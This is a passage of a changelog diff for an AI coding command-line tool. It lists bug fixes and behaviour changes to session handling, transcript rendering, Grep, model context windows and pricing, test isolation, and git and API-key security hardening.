already running when the session closes finishes, as it did before, rather than being killed with
|
|
251
|
+
no rollback. A stop during the pre-check, the cherry-pick or the dirty-path `git apply` used to be
|
|
252
|
+
reported as a conflict; it now ends with an error that names the stop and what it left, whether
|
|
253
|
+
the rollback ran and any unmerged paths, and `/review --fix` counts that pass as cancelled
|
|
254
|
+
("Stopped while applying …"), not as a failed fix. `AgentStop` waits for the apply it stopped,
|
|
255
|
+
rollback included, and a patcher that had completed stays `completed`. `AgentStop` stops only an
|
|
256
|
+
apply the model started (`AgentApply`); an apply you started keeps running (#527).
|
|
257
|
+
- **Print mode and the SDK keep a session's name across managed-agent completions, and `/review`
|
|
258
|
+
agents are recorded under the host session** (#446, #448). A managed agent's completion notice
|
|
259
|
+
(and a background shell's, in the TUI) is a host-written turn, yet it named a session that had no
|
|
260
|
+
name yet, as `Atlas completed: Found the missing de…`, in place of the prompt you typed. A
|
|
261
|
+
notification turn now never derives or changes a name, in print mode, the SDK, the session index
|
|
262
|
+
and the loader alike. In print mode and the SDK the `/review` reviewers, and the `--fix` patcher
|
|
263
|
+
and validator, recorded `sessionId: "agent:<id>"` in tool telemetry, so five reviewers counted as
|
|
264
|
+
five sessions in `book tool-stats`; they now carry the host's session id. That also puts the
|
|
265
|
+
host's `parent_session_id` in their SubagentStart and SubagentStop hook payloads, and a print-mode
|
|
266
|
+
session resumed in the TUI lists its review agents in the agent panel, as TUI `/review` agents
|
|
267
|
+
already do.
|
|
268
|
+
- **An empty session is removed when Book exits before the first prompt** (#444, #507). Opening Book
|
|
269
|
+
and quitting left a session file and an index entry behind (#428 only hid them), and so did `/new`
|
|
270
|
+
or `/clear` followed by quitting. At exit Book now removes the session this launch created, and
|
|
271
|
+
each one `/new` or `/clear` created, if it is still untouched: its file holds at most the bare
|
|
272
|
+
header and has no name. A turn, a patch, a usage record, or a line a SessionEnd hook wrote keeps
|
|
273
|
+
it, and a resumed, continued or `/resume`d session is never removed. This covers the TUI, print
|
|
274
|
+
mode and the SDK. A launch with `--name` that sends no prompt is kept, since you typed the name
|
|
275
|
+
and `--resume <name>` finds it. Windows may briefly hold the file open, which leaves it in place.
|
|
276
|
+
- **Two Ctrl+C presses read together count as two presses, so quitting right after launch works**
|
|
277
|
+
(#504). Ink hands bytes read in one stdin chunk on as a single event, and Book did not recognise
|
|
278
|
+
`\x03\x03` as Ctrl+C. Right after the first frame Book stalls for 200 to 700 ms while the agent
|
|
279
|
+
store opens, so a quit's two presses were read as one chunk and ignored: about two in ten driver
|
|
280
|
+
runs that quit at once did not exit. Every Ctrl+C is now split out of a chunk before any key
|
|
281
|
+
handler sees it, one piece per tick, so two presses over a draft clear it and then arm the exit
|
|
282
|
+
window, as two separate presses do. Text and Enter that arrive in one read are still a paste, on
|
|
283
|
+
purpose. The stall itself is gone (#516).
|
|
284
|
+
- **A `/goal` session name keeps a leading inline code span** (#449). The name came from the goal
|
|
285
|
+
with one leading backtick stripped, so a goal that began with `npm test` as an inline code span
|
|
286
|
+
lost the span's opening backtick and had its first letter capitalised. The span is kept. A
|
|
287
|
+
leading code fence and its language tag are still dropped, a word after a fence counting as a tag
|
|
288
|
+
only when a newline follows it, as are a trailing closing fence and a fence line in the middle of
|
|
289
|
+
the prompt. A prompt-body command (`/init`, a custom command, a skill) is now named after what you
|
|
290
|
+
typed too, and the plan handoff keeps the planning session's name (#524).
|
|
291
|
+
- **Grep accepts ripgrep inline flags such as `(?i)`, and tool output blocks draw empty lines**
|
|
292
|
+
(#447, #494). Grep compiled the pattern with JavaScript's `RegExp` before choosing a backend, so
|
|
293
|
+
`(?i)HELLO` failed with "Invalid group" although ripgrep takes it. The pattern now goes to
|
|
294
|
+
ripgrep as written. The portable fallback translates a leading `(?i)`, `(?s)` or `(?m)` group
|
|
295
|
+
into `RegExp` flags without repeating one already set, except that in line mode a leading `(?m)`
|
|
296
|
+
or `(?s)` is not made a flag, since it would match `foo\r` on a CRLF file where ripgrep does not.
|
|
297
|
+
Any other inline group, such as `(?x)` or a `(?i)` in mid-pattern, fails with `invalid_regex`
|
|
298
|
+
naming the construct and pointing to `i: true`. When ripgrep exits 2 on a regex parse error Grep
|
|
299
|
+
still falls back to the portable engine, so lookaround keeps working, and if both reject the
|
|
300
|
+
pattern the error includes ripgrep's own; any other exit 2 returns ripgrep's result. A malformed
|
|
301
|
+
pattern now costs one ripgrep spawn before it fails. In the transcript, a tool row's output block
|
|
302
|
+
dropped empty lines: `printf "S1\n\nS2\n\n\nS3\n"` drew three rows. Each line now draws a row of
|
|
303
|
+
at least one line. One definition of a tool output's lines, split on `\n` with the trailing empty
|
|
304
|
+
lines dropped, feeds the drawn rows, the header's line count and the `… +N lines` footers, so
|
|
305
|
+
`X` and its newline reads 1 line and draws 1 row. This supersedes the #480 note that an empty line
|
|
306
|
+
between two others adds no row.
|
|
307
|
+
- **`/model` discovery records an Anthropic endpoint's reported context window** (#416). Discovery
|
|
308
|
+
listed the models but dropped the `max_input_tokens` that `/v1/models` reports, so `/context`
|
|
309
|
+
kept showing the default window until you set one by hand. It is now stored per model as
|
|
310
|
+
`reportedContextWindow` when it is a positive whole number, overwritten on every refresh and
|
|
311
|
+
removed once the endpoint stops reporting it, and `/context` names its source `reported`. The
|
|
312
|
+
order is a hand-set `contextWindow`, then the learned ceiling, then the reported window, then the
|
|
313
|
+
model family, then the default. A separate field, rather than `contextWindow`, so that your value
|
|
314
|
+
always wins and an overflow can still lower a reported window that a proxy or a key tier did not
|
|
315
|
+
honour. A refresh now updates the running session's model information for that provider; the
|
|
316
|
+
selection, effort and `maxTokens` are untouched. Limits: only Anthropic endpoints, with an
|
|
317
|
+
OpenAI-compatible `context_length` ignored and `max_tokens` not recorded. A discovered Haiku 5.5
|
|
318
|
+
now records its 1M window, so long sessions compact later and, past 100k tokens, cost more per
|
|
319
|
+
request; set `contextWindow` to lower it.
|
|
320
|
+
- **At `$HOME`, `book config set` and `/config` no longer report a user-scope write as shadowed by
|
|
321
|
+
the same file** (#449). With `BOOK_HOME` unset, the workspace's `.book/settings.json` is the user
|
|
322
|
+
file, and a user-scope write was reported as shadowed by the project layer. The project layer is
|
|
323
|
+
now skipped when it is the user file, as the loader does; the local layer and a `--settings` file
|
|
324
|
+
are still reported. A home reached through a symlink, with the workspace given by its real path,
|
|
325
|
+
also listed each user skill root a second time as a project root whose skills ask for consent. A
|
|
326
|
+
project root whose real path is a user root's is now folded into that user root. Roots that only
|
|
327
|
+
alias each other, project to project or user to user, are left alone, and a root that does not
|
|
328
|
+
exist is never folded. Trust does not loosen: with `BOOK_HOME` elsewhere, `~/.book/settings.json`
|
|
329
|
+
is still a project layer, and its hooks and `permissions.allow` stay withheld.
|
|
330
|
+
- **A persistent background Bash job gets 10 s to start, and shell ids stay unique across resumes**
|
|
331
|
+
(#495, #449). The detached runner had 3 s to start the job, which a loaded Windows CI runner did
|
|
332
|
+
not always meet (`did not start within 3000ms`); it has 10 s now. A runner that dies early is
|
|
333
|
+
still reported at once, and one that hangs is still killed and forgotten after the budget. The
|
|
334
|
+
wait also ends when the turn is cancelled or the manager is disposed. Separately, `shell_<n>`
|
|
335
|
+
numbering restarted at `shell_1` after `--resume`, `/resume`, `/rewind`, in print mode and in a
|
|
336
|
+
managed agent's follow-up run, so a new job could reuse an id that a transcript row or completion
|
|
337
|
+
notice already named. The counter now starts one past the highest `shell_<n>` in the transcript
|
|
338
|
+
and in the context history (compaction can drop an id from the history while the row keeps it).
|
|
339
|
+
After `/rewind` it continues past the ids the kept transcript still holds, and after `/clear` it
|
|
340
|
+
starts at 1. Persistent `shell_<uuid>` ids and numbers above 1,000,000 are ignored.
|
|
341
|
+
- **A failed command's stdout is named under its stderr, and Ctrl+E reaches the row** (#480). A
|
|
342
|
+
command that failed with output on both streams showed only its stderr tail: an `npm warn` where
|
|
343
|
+
the `FAIL test/a.test.js > expected 1, got 2` that said what broke belonged. The model read both,
|
|
344
|
+
but nothing under the row said the stdout existed, and Ctrl+E skipped the row unless it was the
|
|
345
|
+
latest, because the compact transcript took it to hide nothing. The collapsed detail of a failed
|
|
346
|
+
`Bash` or `Check` now ends with `… +1 line of output (Ctrl+E)`, counting the rows the output
|
|
347
|
+
block then draws for the stdout (only the row Ctrl+E acts on names the key; the others read
|
|
348
|
+
`… +1 line of output`), and the row counts as hiding content, so Ctrl+E picks it even when a
|
|
349
|
+
newer row hides nothing. Pressing it shows the whole stderr and the stdout in the output block,
|
|
350
|
+
and the next press moves up to the next truncated row. The block draws a row for each line that
|
|
351
|
+
is not empty, and Ink gives an empty line no height: the newline real output ends in adds no row
|
|
352
|
+
(a stdout of `hi` and its newline reads `+1 line`), nor does an empty line between two others,
|
|
353
|
+
and a line of spaces is one (`A\n\nB\n \nC\n` reads `+4 lines`, as many as Ctrl+E then draws).
|
|
354
|
+
A stderr tail that cuts lines of its own keeps its footer above the rows and counts the stdout in
|
|
355
|
+
it, one footer and one key: `… +2 lines, +1 line of output (Ctrl+E)`. A stdout with no text in it
|
|
356
|
+
(blank lines, control characters) is not named. A message that is only `Exit code: N` is
|
|
357
|
+
unchanged, since its stdout is the detail, and a row that is open (Ctrl+E, a click, or Ctrl+O's
|
|
358
|
+
detailed transcript) draws the stdout in its output block alone. A `Bash` command whose stderr
|
|
359
|
+
held only whitespace (a bare `echo >&2`) used to report that whitespace as its message, which the
|
|
360
|
+
row skips as blank: it drew no stdout and named none, and Ctrl+E passed over it. It now reports
|
|
361
|
+
`Exit code: N`, as `Check` already did, so its stdout is the detail like that of any command that
|
|
362
|
+
said nothing on stderr. A `BashOutput` read of a shell that failed is a successful read of one
|
|
363
|
+
buffer that holds both streams, so it has no stderr to put a stdout under and is unchanged.
|
|
364
|
+
- **The atomic-write tests no longer fail with `busy` on a loaded machine** (#450). Three of them
|
|
365
|
+
inject one contention and expect the writer to try again, but ran on the real clock against its
|
|
366
|
+
500ms deadline, so the fsyncs before the first rename could use up the whole budget and the writer
|
|
367
|
+
returned `busy` without a second attempt. They now run on a clock that only the writer's own
|
|
368
|
+
back-off moves; the writer is unchanged, and `busy` once the deadline has passed is still its
|
|
369
|
+
documented result.
|
|
370
|
+
- **A finished compaction is shown only in the transcript.** Its row, `✓ Compact conversation`,
|
|
371
|
+
is now the whole record of a successful compaction: the post-compaction card and the
|
|
372
|
+
`Compacted 100%` bar no longer appear above the input or linger until the next message. A
|
|
373
|
+
compaction warning is kept on that row (`Compact conversation · reduced fidelity`, with the
|
|
374
|
+
warning in one dim line under it), not as a separate row, and stays out of the model's context. A
|
|
375
|
+
resumed session's rows do not carry it. The running bar and the error and skipped cards are
|
|
376
|
+
unchanged; an error or skipped card still stays until the next message.
|
|
377
|
+
- **A failed `Check` reports the way a failed `Bash` does** (#473). A check that exited non-zero
|
|
378
|
+
reported `stderr || stdout`, so a runner that prints its failing assertions on stdout while npm
|
|
379
|
+
warns on stderr lost them: the model never saw them and neither did the transcript. The message is
|
|
380
|
+
now stderr, or `Exit code: N` when stderr is blank, and stdout is always the output, under the
|
|
381
|
+
same 50 KB bound every tool result gets. The read-only-git note reads both streams, and a
|
|
382
|
+
timed-out check keeps both its stdout and its stderr.
|
|
383
|
+
- **The test suites no longer read your `BOOK_*` environment** (#467). A test that expects a
|
|
384
|
+
default (`BOOK_EFFORT` unset, no `BOOK_MAX_TOKENS`) failed whenever the suite ran from inside a
|
|
385
|
+
Book session, or from any shell exporting an override: eight tests in `compact-eval-settings`,
|
|
386
|
+
`edit-eval-settings`, `doctor` and `trust-cmd` saw the session's effort, model or token cap
|
|
387
|
+
instead. Every config (watch mode and a bare `vitest run <file>`, unit, contract, coverage and
|
|
388
|
+
integration) now deletes every inherited `BOOK_*` variable before each test file, in the shared
|
|
389
|
+
`src/test/vitest-setup.ts`, matching the names case-insensitively and keeping only `BOOK_HOME`,
|
|
390
|
+
which the suite leaves as launched, and the telemetry directory that setup pins. A test that sets
|
|
391
|
+
a variable itself is unaffected. The integration tier also keeps your provider's `BOOK_API_KEY`,
|
|
392
|
+
`BOOK_BASE_URL`, `BOOK_PROVIDER`, `BOOK_MODEL` and `BOOK_EFFORT`, which the TUI streaming tests
|
|
393
|
+
pass to their child on purpose (#358). To keep an override while debugging, list it in
|
|
394
|
+
`BOOK_TEST_KEEP_ENV`, for example `BOOK_TEST_KEEP_ENV=BOOK_DEBUG,BOOK_DEBUG_STDERR`.
|
|
395
|
+
- **A git-isolation test no longer times out on Windows or leaves its repository locked** (#453).
|
|
396
|
+
The test that shows a signing read cut off at its buffer is refused (#348) padded `.git/config`
|
|
397
|
+
past the production buffer, so each of the 23 git processes the apply starts parsed all of it:
|
|
398
|
+
76 s of a 120 s budget on a green Windows run, and a timeout on a slower one, which left the apply
|
|
399
|
+
running in the repository when cleanup tried to remove it (`EBUSY`). The buffer is now a private
|
|
400
|
+
parameter of the git runner (default `DEFAULT_MAX_BUFFER_BYTES`), and the one internal test seam
|
|
401
|
+
takes the size of the signing read's buffer, so on every platform the refusal is proven in
|
|
402
|
+
seconds with a 64 KiB buffer, and a single read through the production runner shows that its own
|
|
403
|
+
buffer refuses an overrun too. One full-size variant, skipped on Windows, shows the apply wires
|
|
404
|
+
that buffer in. Cleanup also retries the removal. Book itself behaves exactly as before.
|
|
405
|
+
- **A restart test no longer counts the first manager's requests as the restarted one's** (#413).
|
|
406
|
+
`children re-driven after a restart` flaked with `expected 1 to be +0` under the full integration
|
|
407
|
+
tier: its helper counted a request the first manager's child made late as a re-run. The helper
|
|
408
|
+
now counts only the restarted manager's requests. Test-only.
|
|
409
|
+
- **A memory file is named by what reads it best.** The `Read` row of a memory file now shows
|
|
410
|
+
`memory/<file>` like the `Write`/`Edit` rows, instead of the long absolute path, and a message
|
|
411
|
+
about a memory file (`file_not_observed`, a stale read, `Created …`, an `ApplyPatch` diff header)
|
|
412
|
+
names its absolute path instead of `../home/.book/…`. A workspace file keeps its relative path.
|
|
413
|
+
A row that is still running, waiting on a permission prompt, or failed (`file_not_observed`) also
|
|
414
|
+
reads `memory/<file>`: the TUI now knows the memory directory, so a `Read`, `Write`, `Edit`,
|
|
415
|
+
`MultiEdit` or `NotebookEdit` row no longer falls back to the long absolute path before a result
|
|
416
|
+
names the file.
|
|
417
|
+
The permission sheet for a `Write`, `Edit`, `MultiEdit` or `ApplyPatch` of a memory file now
|
|
418
|
+
previews the change, naming the file `memory/<file>`, instead of
|
|
419
|
+
`Cannot preview: Path outside workspace`. The preview resolves the path with the file tools' own write rules, so it still
|
|
420
|
+
refuses what they refuse (a non-`.md` file, a dot-entry, a link or a `..` escape).
|
|
421
|
+
- **A short quiet-run summary row shows all its metadata** (#469). `Read a.js` with
|
|
422
|
+
`1 file · 1 search · 1 listing` was cut at the 20-column meta column; the summary row's metadata
|
|
423
|
+
now takes the columns its target leaves free, and a long target keeps its priority.
|
|
424
|
+
- **Ctrl+E expands the newest truncated tool row, and only that row's footer names the key**
|
|
425
|
+
(#470). In the compact transcript every cut diff, output and failed-command footer read
|
|
426
|
+
`(Ctrl+E)`, but the key expanded the latest row, so a 150-line `Write` followed by a capped `Edit`
|
|
427
|
+
advertised the key on the `Write` and a second press changed nothing. Ctrl+E now expands the
|
|
428
|
+
running tool while a turn is in progress, else the row you clicked while it is still cut, else the
|
|
429
|
+
newest row on screen whose preview hides lines; each press moves up to the next truncated row, and only that row's footer shows
|
|
430
|
+
`(Ctrl+E)` (the others read `… +140 lines`). The detailed transcript is unchanged: Ctrl+E shows
|
|
431
|
+
everything and every footer names it.
|
|
432
|
+
- **A failed command's whole error is reachable, and `Check` and `BashOutput` rows show their exit
|
|
433
|
+
code** (#470). The detail under a failed command's row kept its last four lines under a dimmed
|
|
434
|
+
`… +N lines`, and no key showed the rest: Ctrl+E ignored it, in compact mode and after Ctrl+O. The
|
|
435
|
+
hint now reads `… +N lines (Ctrl+E)`, and expanding the row (Ctrl+E, or Ctrl+O then Ctrl+E) shows
|
|
436
|
+
every line of the output, up to the last 2000 rows (a longer output says how many lines it cut,
|
|
437
|
+
naming no key); a line wider than the row continues on the rows after it instead of being cut.
|
|
438
|
+
The error folds back to its tail when the row is collapsed again, a command that printed only to
|
|
439
|
+
stdout shows that stdout once, and a failure whose stderr is hidden can be expanded by a click.
|
|
440
|
+
A prose failure wraps past two rows when expanded. A failed
|
|
441
|
+
`Check` now records its exit code, so its row reads `failed · exit 3` like a `Bash` row does (a
|
|
442
|
+
timed-out check is not a failing check and has none). A `BashOutput` row for a background shell
|
|
443
|
+
that finished with a non-zero exit shows `exit N`; the read still counts as a success, but it no
|
|
444
|
+
longer folds into the quiet-run summary, so the `exit N` stays on its own row.
|
|
445
|
+
- **A failed Bash call's error detail keeps its last lines and its exit code** (#457). The detail
|
|
446
|
+
under the tool row folded stderr into one paragraph, kept its start, and stopped after two rows,
|
|
447
|
+
so a failing test run showed its first assertion and never its verdict. A failed command's
|
|
448
|
+
output (a result that carries an exit code) now shows one row per non-blank line, the last four,
|
|
449
|
+
behind a dimmed `… +N lines` row for the rest, and the row's metadata reads
|
|
450
|
+
`failed · exit 1 · 7ms`. Many test runners print the verdict on stdout and leave stderr empty;
|
|
451
|
+
for those the detail shows the tail of stdout, and a command with no output shows no detail rows.
|
|
452
|
+
Book's own sandbox note stays readable after the tail, in up to two rows. Any other failure (an
|
|
453
|
+
MCP error, a validation message) wraps as before, first line first. What the model reads is
|
|
454
|
+
unchanged.
|
|
455
|
+
- **Reasoning no longer breaks the compact transcript's quiet-run summary** (#455). A model that
|
|
456
|
+
thought before every read (an inline `<think>` part or provider-native reasoning) drew a
|
|
457
|
+
`▸ thought` row and a tool row per call instead of one `✓ Read a.js, b.js, c.js` summary. Only
|
|
458
|
+
prose between calls ends a run now, and a thought that leads to read-only calls is absorbed into
|
|
459
|
+
the run's summary row. A thought before an edit, a command, a call awaiting permission or a
|
|
460
|
+
failure, and the thought of a step that speaks, stays visible; the detailed transcript (Ctrl+O)
|
|
461
|
+
still shows every thought.
|
|
462
|
+
- **Claude 4.6 and later get their 1M context window** (#416). Every Claude model resolved to a
|
|
463
|
+
200,000-token window, so Book compacted at about a fifth of what Opus 4.6–4.8, Sonnet 4.6, and
|
|
464
|
+
every 5.x model (Opus, Sonnet, Haiku, Fable, Mythos) accept. These now resolve to 1,000,000,
|
|
465
|
+
matching `max_input_tokens` from Anthropic's `/v1/models`; Haiku 4.5, the 4.5 models, and older
|
|
466
|
+
stay at 200,000. The window follows the model name on any route, so a router that caps a Claude
|
|
467
|
+
model lower is learned from its first overflow refusal, or can be declared with `contextWindow`.
|
|
468
|
+
A long Haiku 5.5 session now runs past 100,000 prompt tokens, where its per-token price is 5x.
|
|
469
|
+
- **`/model` lists the current Claude models, and Haiku 5.5 takes an effort level.** The picker
|
|
470
|
+
gained Claude Opus 5.5, Sonnet 5.5, Haiku 5.5 and Fable 5.1. Haiku 5.5 was missing from the
|
|
471
|
+
Anthropic provider's adaptive-thinking models, so a request to it carried neither `thinking` nor
|
|
472
|
+
`output_config.effort` and ran at the model's own `medium` whatever effort was set; it now gets
|
|
473
|
+
both, as the other 5.x models do.
|
|
474
|
+
- **Claude Haiku 5.5, Opus 4.5 and Sonnet 4.5 are priced, and Sonnet 5.5 cache reads cost what
|
|
475
|
+
Anthropic charges** (#415). The price table had no rate for the first three, so
|
|
476
|
+
`--max-budget-usd` refused every run on them and `/cost` showed no dollar figure. Sonnet 5.5's
|
|
477
|
+
cache reads counted at twice the published rate, which overstated `/cost` and stopped budgeted
|
|
478
|
+
runs early. Haiku 5.5 charges more for a request whose prompt is over 100,000 tokens: Book now
|
|
479
|
+
prices each request at its own rate, and where only a summed total is known (a delegated agent,
|
|
480
|
+
or spend carried over from an earlier run) it uses the higher rate as an upper bound. `/cost` and
|
|
481
|
+
`/usage` say when a delegated agent's figure is one; a carried budget does not, so a restarted
|
|
482
|
+
Haiku 5.5 run can stop short of its cap.
|
|
483
|
+
- **A bare `advisorModel` no longer sends your key to another vendor** (#419). An id that names
|
|
484
|
+
no configured provider, such as `claude`, went to the default endpoint
|
|
485
|
+
(`https://api.openai.com/v1`) with a key meant for another one: the key of the provider the
|
|
486
|
+
session used, or `BOOK_API_KEY` when the main model was on a provider of its own, so an
|
|
487
|
+
Anthropic key reached OpenAI on every consultation, and the 401 that came back was marked
|
|
488
|
+
retryable. The advisor now fails closed. An id that is not `<provider>/<model>` for a configured
|
|
489
|
+
provider is refused, with nothing sent (`advisor_unconfigured`, not retryable, suggesting
|
|
490
|
+
`/advisor <provider>/<model>`), unless it is the main model, `BOOK_BASE_URL` is set (the legacy
|
|
491
|
+
`.bookrc.json` `baseUrl` does not count: a repository can ship it), or it resolves to exactly
|
|
492
|
+
the endpoint and key the session already uses. An id that starts or ends with `/` is refused
|
|
493
|
+
whatever the base URL, and a stored one fails the consult as `advisor_unconfigured` instead of
|
|
494
|
+
throwing. `/advisor <id>` reports the same refusal and saves nothing; with a provider prefix
|
|
495
|
+
that matches no configured provider (`antropic/x`) it saves the id and warns, as the main model
|
|
496
|
+
does, and `/advisor` alone marks a stored id that every consult would refuse. A key inherited
|
|
497
|
+
from configuration also goes only to the endpoint it was configured for, on every model switch
|
|
498
|
+
and not just the advisor's; any other endpoint gets `BOOK_API_KEY` or no key. Endpoints are
|
|
499
|
+
compared after normalisation (a trailing slash, or the case of the scheme and host, does not
|
|
500
|
+
make a different one), and a provider name is looked up as an own key, so `constructor/x`
|
|
501
|
+
names no provider. A failure a repeat would only reproduce is no longer retryable: a rejected
|
|
502
|
+
key or account (auth, quota), a retired or misspelled model (`model_unavailable`), a transcript
|
|
503
|
+
too long for the advisor's window (`context_overflow`), and any verdict on the request itself
|
|
504
|
+
(400, 404, 422, `invalid_request_error`, a content filter). Rate limits, overload, server errors,
|
|
505
|
+
network errors and timeouts stay retryable.
|
|
506
|
+
- **The transcript's brightest lines are the answer again, not the agent's bookkeeping.** A sentence
|
|
507
|
+
whose only call updated the plan (TodoWrite) was read as an answer even when the agent went on
|
|
508
|
+
working, so `I'll clone, install, and launch that repo` sat in full ink between grey steps. A
|
|
509
|
+
message that more work follows in the same turn is now drawn as a step, unless it hands the turn
|
|
510
|
+
back to you (a question, plan approval, a memory save). Turns end at notifications too.
|
|
511
|
+
- **The headless test suites no longer write run records into your own `~/.book`** (#421). Five
|
|
512
|
+
suites drove print mode against the real `BOOK_HOME` and left a `runs/<session-id>.json` behind
|
|
513
|
+
for every test session. Each now runs under a temporary `BOOK_HOME`, and a guard test fails any
|
|
514
|
+
suite that drives print mode or the SDK without pinning one.
|
|
515
|
+
- **A tool call the registry refused before it ran no longer draws a rose row.** An unknown tool
|
|
516
|
+
name, or arguments that did not parse or fit the schema, is the model's slip, and it usually
|
|
517
|
+
resends the call corrected. Its `×`, target and message are grey; a command that ran and failed
|
|
518
|
+
stays rose, since a non-zero exit is the transcript's only record of a red test run.
|
|
519
|
+
- **Run records are pruned** (#422). `<BOOK_HOME>/runs/` kept a record for every session ever run.
|
|
520
|
+
Startup now deletes the records not written in 30 days, the retention sessions and debug logs
|
|
521
|
+
already follow. Every CLI and SDK start sweeps it, whatever the session settings, and a record
|
|
522
|
+
whose run is still alive is kept.
|
|
523
|
+
- **A failure's message is no longer cut to the metadata column.** It was truncated to 64 columns
|
|
524
|
+
at the right edge of the row, as in
|
|
525
|
+
`Invalid arguments for TodoWrite: arguments.todos is required. A…`, which lost the part that
|
|
526
|
+
said what was wrong. It is now set under the row, wrapped to up to two lines.
|
|
527
|
+
- **`AgentWait` with a long `timeoutMs` returns the agent's status instead of timing out** (#423).
|
|
528
|
+
The wait ran under the registry's default 120-second tool deadline, so any `timeoutMs` of 120000
|
|
529
|
+
or more ended as a `tool_timeout` with no status in it. The wait is now the tool's own deadline,
|
|
530
|
+
bounded by the ceiling that `BashOutput`'s `wait_ms` has (`BOOK_TOOL_TIMEOUT_MS` where set,
|
|
531
|
+
600000 ms otherwise): a longer request is refused with that limit, and an omitted `timeoutMs`
|
|
532
|
+
waits until the agent finishes, up to it. A cancelled or disposed wait now clears its timer, so a
|
|
533
|
+
cancelled open-ended wait no longer keeps the process alive.
|
|
534
|
+
- **A TodoWrite row is marked with where the plan stands, not a check.** The row
|
|
535
|
+
`✓ Steps Clone the repo 0 of 3 done` read as a finished step; it now takes the Steps sheet's
|
|
536
|
+
marks: `◌` set out, `◔` under way, `✓` finished.
|
|
537
|
+
- **A provider error with an empty body says so** (#424). A 404 with no body read just
|
|
538
|
+
`API Error: 404`; it now names the host and the model the request was for, says
|
|
539
|
+
`(empty response body)`, and suggests checking the base URL and model id. A provider message
|
|
540
|
+
that already ends in a period no longer gets a second one (`…/account/api-keys..`).
|
|
541
|
+
- **A tool call written with a dotted namespace runs.** `default.Bash` answered "Unknown tool" and
|
|
542
|
+
the model spent a turn on a ToolSearch for a tool it already had. `parent.`, `default.`, `tool.`
|
|
543
|
+
and OpenAI's `functions.` now unwrap the way `default:` always did, and the transcript shows the
|
|
544
|
+
call as the tool it ran as. The list stays explicit, so `pnpm.list` is still unknown.
|
|
545
|
+
|
|
546
|
+
- **A background shell's completion notice names the job** (#425). A command retried under the
|
|
547
|
+
same title finished as two identical notices, which read as one job announced twice; a titled
|
|
548
|
+
job's notice now carries its id after the title, as in `Install Spotify flatpak` (shell_2).
|
|
549
|
+
- **Repository-local filters and merge drivers are disabled for Book's git calls, and lazy fetch is refused in git isolation** (#357).
|
|
550
|
+
A repository's own `.git/config` (or a file it includes) can no longer execute programs through
|
|
551
|
+
`filter.<name>.clean`, `filter.<name>.smudge`, `filter.<name>.process`, or `merge.<name>.driver`
|
|
552
|
+
during Book's git operations — repository-scope definitions are pinned to the operator's value when
|
|
553
|
+
the operator defines the same filter or driver, and to empty otherwise (with
|
|
554
|
+
`filter.<name>.required=false`), across git isolation, the read-only Git tools, `/review`, and the
|
|
555
|
+
status poll. If any repository-scope filter or merge driver name contains `=`, Book cannot
|
|
556
|
+
neutralize it and fails closed, refusing to run git calls there. Operator-configured filters and
|
|
557
|
+
merge drivers (such as from `~/.gitconfig` or system config) continue to run, so global git-lfs
|
|
558
|
+
remains functional. In git isolation, lazy object fetching in partial clones is refused
|
|
559
|
+
(`GIT_NO_LAZY_FETCH=1`, `GIT_ALLOW_PROTOCOL=`) to prevent unprompted execution of repository
|
|
560
|
+
transports (`core.sshCommand`, `credential.helper`), failing cleanly with an explanation on how to
|
|
561
|
+
fetch missing objects manually. Git's built-in `core.fsmonitor=true` daemon is honoured for the
|
|
562
|
+
read-only Git tools, `/review`, and the status poll, while git isolation keeps
|
|
563
|
+
`core.fsmonitor=false` to avoid leaving daemons behind in temporary worktrees; custom hook paths
|
|
564
|
+
remain disabled.
|
|
565
|
+
- **Grep takes `-i`, and accepts `-n`** (#426). Claude Code's `-i` (or `i`) now searches
|
|
566
|
+
case-insensitively, with ripgrep and with the built-in fallback, and `-n` is accepted and
|
|
567
|
+
ignored, since results always carry line numbers. Both were refused as unknown arguments, which
|
|
568
|
+
cost the model a turn to resend the call.
|
|
569
|
+
- **A router-wrapped or direct 429 for a spent plan usage limit no longer burns the retry budget**
|
|
570
|
+
(#400). A router-wrapped 429 that says a plan's weekly, daily, monthly, or N-hour usage limit is
|
|
571
|
+
spent was treated as a transient rate limit: Book waited the router's cooldown hint up to
|
|
572
|
+
`retry.maxDelayMs` on every attempt, then re-issued the turn and repeated the cycle for ~14
|
|
573
|
+
minutes and ~33 requests before claiming a temporary capacity issue for a limit resetting days
|
|
574
|
+
later. An effective 429 whose message states a usage, plan, quota, or subscription limit over a
|
|
575
|
+
long window was reached, exceeded, or spent now classifies as `usage_limit`: without
|
|
576
|
+
`retry.watchdog`, `fetchWithRetry` answers with a single request and the run ends
|
|
577
|
+
`quota_exhausted`, a park (#409). A 429 carrying OpenAI's `insufficient_quota` code is answered
|
|
578
|
+
once the same way but is about credits, so it classifies as `quota` and parks like a 402
|
|
579
|
+
(`credentials_rejected`). The formatted error names the stated reset time and remedy without
|
|
580
|
+
temporary capacity advice, while `insufficient_quota` keeps the credits advice. A short window
|
|
581
|
+
anywhere in the message keeps the error a rate limit. Under `retry.watchdog`, spent-limit 429s
|
|
582
|
+
are still retried. On any retryable
|
|
583
|
+
429, an absolute `resets at <time>` within reach is waited for, up to `retry.maxDelayMs` per
|
|
584
|
+
attempt; a reset that falls beyond what the remaining attempts and retry budget can wait halts
|
|
585
|
+
retries immediately.
|
|
586
|
+
- **Tool telemetry records the session a call ran in** (#427). The `session` field of
|
|
587
|
+
`tool-use.jsonl` holds the run's trace id, so `book tool-stats` counted every run as a session.
|
|
588
|
+
Records now carry `sessionId` too, and the session count uses it; older records still count by
|
|
589
|
+
trace.
|
|
590
|
+
- **Scrolling a long transcript no longer draws rows outside the viewport** (#353). The virtual
|
|
591
|
+
transcript mounts about one viewport of rows above and below the view as overscan, and Ink's
|
|
592
|
+
render walk visited every mounted node every frame: measuring `widestLine`, wrapping text, and
|
|
593
|
+
recording writes that `Output.get` discarded because they lay outside the clip. A profile of a
|
|
594
|
+
heavy session put that walk at 26% of the TUI's busy CPU while scrolling, with 54% of the
|
|
595
|
+
remaining offscreen writes coming from rows that straddled viewport edges (such as long diffs or
|
|
596
|
+
command output). `src/cli/` now installs `ink-render-cull.ts`, which tracks the walk's clip stack
|
|
597
|
+
and gives mounted transcript rows — and children of rows that straddle a viewport edge — an own
|
|
598
|
+
`getDisplay` reporting `DISPLAY_NONE` whenever a node's box lies wholly outside the innermost
|
|
599
|
+
vertical clip. Absolute tops are memoized per frame to avoid redundant ancestor traversals across
|
|
600
|
+
siblings. Yoga layout is untouched — Yoga reads display from its native style rather than the
|
|
601
|
+
JavaScript method — so layout positions are preserved while Ink skips the subtree walk entirely.
|
|
602
|
+
